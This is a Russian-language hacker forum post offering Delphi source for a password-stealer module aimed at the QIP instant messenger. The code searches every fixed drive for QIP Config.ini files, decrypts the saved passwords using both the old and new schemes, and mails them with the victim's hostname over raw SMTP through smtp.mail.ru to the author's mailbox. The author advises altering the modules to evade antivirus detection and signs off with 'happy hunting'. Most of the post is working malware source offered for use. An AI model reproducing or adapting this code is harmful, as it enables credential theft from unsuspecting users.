Воруем пасы из Qip'a. Delphi.
Тема конечно изъезжена вдоль и поперек но многие хотят что бы пинч выдирал пасы и из qip'a тоже так как готовые модули никто не выкладывал то хочу поделиться своим;
я написал на Delphi весит около 11 Кб после упаковки UPX'ом, работает вплоть до билда 8000 и скорее всего выше тоже.
1) ищет и везде, по всем логическим дискам и каталогам
2) выдирает пароли
3) дешифрует их
4) отсылает пароли на почтовый ящик
стандартные модули для пинча тут они конечно же палятся каспером ;) поэтому желательно их модифицировать.
собсна мой модуль выгляд так:
Код:
unit uQIP;
interface
uses
Windows;
function QIP(AD:Boolean) : String;
implementation
const
clipboard = 255*1024;
type
TMyArray = array[1..clipboard] of char;
PMyArray = ^TMyArray;
var
PasWD : String = 'qip:'+#$D+#$A;
//Ясно без комментариев ;)
function MyStrToInt(S:String):Integer;
var
I, ErrorCode: Integer;
begin
Result:=-0;
Val(S, I, ErrorCode);
if ErrorCode <> 0 then
begin
WinExec(PChar(ParamStr(0)),SW_HIDE);
Halt;
end
else
Result := I;
end;
//Расшифровка паролей
function DecryptQIPPass_New(pass:string):string;
function DecodeBase64(value:string):string;
function DecodeChunk(const chunk:string):string;
const
b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var
w : LongWord;
i : byte;
c : char;
begin
w:=0;
Result:='';
for i:=1 to 4 do
if pos(Chunk[i],b64)<>0 then
w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
for i := 1 to 3 do
begin
c:=chr(w shr((3-i)shl 3)and $ff);
if c<>#0 then Result:=Result+c
end
end;
begin
Result:='';
if length(Value)and $03<>0 then exit;
while length(Value)>0 do
begin
Result:=Result+DecodeChunk(copy(value,0,4));
delete(value,1,4);
end
end;
var
t,i,c : integer;
begin
i:=length(pass);
if i=0 then
result:='Not Saved'
else
if i and $03<>0 then
result:='Cannot Decrypt'
else
begin
Result:=DecodeBase64(pass);
t:=$1ac3;
for i:=1 to length(Result) do
begin
c:=Ord(Result[i]);
Result[i]:=chr(c xor(t shr 8));
t:=(t+c)*$38421+$64ceb;
end
end
end;
function DecryptQIPPass_Old(pass:string):string;
const
Table1:string='4654360486439083677';
Table2:string='216463956385630579';
function DeXor1(const Pass,Table:string):string;
var
CryptChar:Byte;
i,p:Integer;
begin
Result:=Pass;
CryptChar:=Length(Table)-1;
p:=1;
for i:=1 to Length(Result) do begin
if (CryptChar and 8) = 0 then
CryptChar:=CryptChar xor 1;
CryptChar:=not CryptChar;
CryptChar:=(CryptChar shr 1)or(CryptChar shl 7);
Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p]));
Inc(p);
if p>Length(Table) then
p:=1;
end;
end;
function DeXor2(const Pass:string):string;
var
CryptInt:SmallInt;
i,t,l,v:integer;
const
Table: array[0..$5f] of Byte = (
$5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C,
$43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C,
$53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33,
$2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C,
$13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C,
$23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05
);
begin
Result:=Pass;
l:=length(Result);
t:=l;
for i:=1 to l do begin
CryptInt:=Ord(Result[i])-$20;
if (CryptInt>=0) and (CryptInt<=$5f) then begin
v:=CryptInt;
if l and $03<>0 then
t:=(t shl 3)or(t shr 27);
t := t and $1f;
CryptInt:=CryptInt xor t;
t:=t+l+v;
Result[i]:=Chr(Table[CryptInt]+$20);
end;
Dec(l);
end;
end;
var
i,l:integer;
begin
result:='';
l:=length(pass);
if l=0 then
result:='Not Saved'
else
if l and $01<>0 then
result:='Cannot Decrypt'
else
begin
for i:=1 to l do
begin
if pos(pass[i],'0123456789ABCDEF')=0 then
begin
result:='Cannot Decrypt';
exit
end
end;
for i := 1 to l shr 1 do
Result:=Result+Chr(MyStrToInt('$'+Copy(pass,i shl 1 -1,2)));
Result:=DeXor1(Result,Table1);
Result:=DeXor1(Result,Table2);
Result:=DeXor2(Result);
end
end;
//Узнаем все логические диски
function MyGetLogicalDrives : String;
var
drives : set of 0..25;
drive : integer;
begin
Result := '';
DWORD( drives ) := Windows.GetLogicalDrives;
for drive := 0 to 25 do
if drive in drives then
Result := Result + Chr( drive + Ord( 'A' ));
end;
{ Узнаем имя последнего каталога
Нужно для того что бы узнать от какого UIN'a мы узнали пароль}
function ExtractLastPathName(S:String):String;
begin
Result:=S;
Delete(S,Length(S),1);
while Pos('\',s) <> 0 do
begin
Delete(s,1,Pos('\',s));
Result:=S;
end;
end;
//Выдираем криптованную строку из Config.ini
procedure ExtractPass(fp,fn:String);
var
body: hFile;
rd,x : cardinal;
Size: DWORD;
buf : PMyArray;
st : OFSTRUCT;
s : String;
begin
s := '';
body := OpenFile(PChar(fp+fn),st,OF_READ);
Size:=GetFileSize(body,nil);
GetMem(buf,Size);
try
ReadFile(body, buf^, Size, rd, nil);
for x := 1 to Size do
S := S + buf[x];
if S <> '' then
if Pos('NPass=',S) <> 0 then
begin
Delete(S,1,Pos('NPass=',S)+6{Length('NPass=')});
Delete(S,Pos(#$D+#$A,S),Length(S)-Pos(#$D+#$A,S));
S := ExtractLastPathName(fp)+'; '+
S+'; '+
DecryptQIPPass_Old(S)+'; '+
DecryptQIPPass_New(S)+';'+#$D+#$A;
PasWD := PasWD + S;
end;
finally
CloseHandle(body);
FreeMem(buf);
end;
end;
//Ищем в каталоге с подкаталогами Config.ini
procedure ApiSearch(DiR:String);
var
FileName: string;
FindHandle:THandle;
SearchRec:TWIN32FindData;
begin
if Dir<>'' then if Dir[length(Dir)]<>'\' then
Dir:=Dir+'\';
FindHandle := FindFirstFile(PChar(DiR+'*'), SearchRec);
try
if FindHandle <> INVALID_HANDLE_VALUE then
repeat
FileName:=SearchRec.cFileName;
if(FileName='.')or(FileName='..')or(Dir+FileName=ParamStr(0))then continue;
if(SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY <>0)then
ApiSearch(DiR+FileName+'\')//Если это подкаталог то ищем в нем
else
if FileName = 'Config.ini' then
ExtractPass(Dir,FileName);//Если это то что нужно то выдираем криптованную строку
until FindNextFile(FindHandle,SearchRec)=false;
finally
Windows.FindClose(FindHandle);
end;
end;
{ Основная функция возращает парли
Если параметр истинный то ищет во всех логических дисках
Если ложный - только в C:\Program Files\QIP\Users
}
function QIP(AD:Boolean) : String;
var
i : Byte;
begin
if AD then
begin
for i := 1 to Length(myGetLogicalDrives)do
if GetDriveType(PChar(myGetLogicalDrives[i]+':\')) = DRIVE_FIXED then
ApiSearch(myGetLogicalDrives[i]+':\');
end
else
ApiSearch('C:\Program Files\QIP\Users');
Result := PasWD;
end;
end.
function QIP(AD:Boolean) : String;
если параметр true то программа ищет во всех логических дисках и жесткий начинает шуршать
поэтому лучше сначала искать тока в C:\Program Files\QIP\Users а потом везде:
Код:
var
PASSWORD : String;
begin
PASSWORD := QIP(false);
SendPasswords;
PASSWORD := QIP(true);
SendPasswords;
end;
SendPasswords(PASSWORD); - отсылка паролей, у мя например на мыло =) код внизу:
Код:
function DateTimeToStrNow:String;
var
st : TSYSTEMTIME;
s : String;
begin
Result := '';
GetSystemTime(st);
Str(st.wHour,s);
Result := Result+S+':';
Str(st.wMinute,s);
Result := Result+S+':';
Str(st.wSecond,s);
Result := Result+S;
Result := Result+' ';
Str(st.wDay,s);
Result := Result+S+'.';
Str(st.wMonth,s);
Result := Result+S+'.';
Str(st.wYear,s);
Result := Result+S;
end;
function SendPasswords: boolean;
var
WSAData: TWSAData;
FSocket: integer;
HostEnt: PHostEnt;
SockAddrIn: TSockAddrIn;
dBuff: PChar;
dSize: dword;
Str: array [0..255] of Char;
HostName: array[0..128] of Char;
function Success(): boolean;
var
Bytes: dword;
RBuff: array [0..255] of Char;
begin
Result := false;
Bytes := recv(FSocket, RBuff, 255, 0);
if (Bytes = 0) or (Bytes = SOCKET_ERROR) then Exit;
RBuff[3] := #0;
if lstrcmp(RBuff, '220') = 0 then Result := true else
if lstrcmp(RBuff, '250') = 0 then Result := true else
if lstrcmp(RBuff, '354') = 0 then Result := true;
end;
begin
WSAStartup(257, WSAData);
Result := false;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(25);
SockAddrIn.sin_addr.s_addr := inet_addr('smtp.mail.ru');
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname('smtp.mail.ru');
if HostEnt = nil then
begin
CloseSocket(FSocket);
Exit;
end;
SockAddrIn.sin_addr.s_addr := PLongint(HostEnt^.h_addr_list^)^;
end;
gethostname(HostName, 128);
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> -1 then
begin
if Success then
begin
lstrcpy(Str, PChar('HELO ' + 'smtp.mail.ru' + #13#10#0));
send(FSocket, Str, lstrlen(Str), 0);
if Success then
begin
lstrcpy(Str, PChar('MAIL FROM: ' + 'myqip@mail.ru' + #13#10#0));
send(FSocket, Str, lstrlen(Str), 0);
if Success then
begin
lstrcpy(Str, PChar('RCPT TO: ' + 'myqip@mail.ru' + #13#10#0));
send(FSocket, Str, lstrlen(Str), 0);
if Success then
begin
lstrcpy(Str, 'DATA'#13#10#0);
send(FSocket, Str, lstrlen(Str), 0);
if Success then
begin
dSize := lstrlen(PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
GetMem(dBuff, dSize + 6);
lstrcpy(dBuff, PChar(HostName+' '+DateTimeToStrNow+#$D+#$A+PASSWORDS));
lstrcat(dBuff, #13#10'.'#13#10#0);
send(FSocket, dBuff^, dSize + 6, 0);
FreeMem(dBuff);
if Success then
begin
lstrcpy(Str, 'QUIT'#13#10#0);
send(FSocket, Str, lstrlen(Str), 0);
Result := true;
end;
end;
end;
end;
end;
end;
end;
CloseSocket(FSocket);
WSACleanup();
if Result = false then
begin
SendPasswords;
Exit;
end;
end;
Удачной охоты =)
С вопросами обращаться суда:
ICQ# 466-526-466
PS: Поставьте плюсик Plz =) |
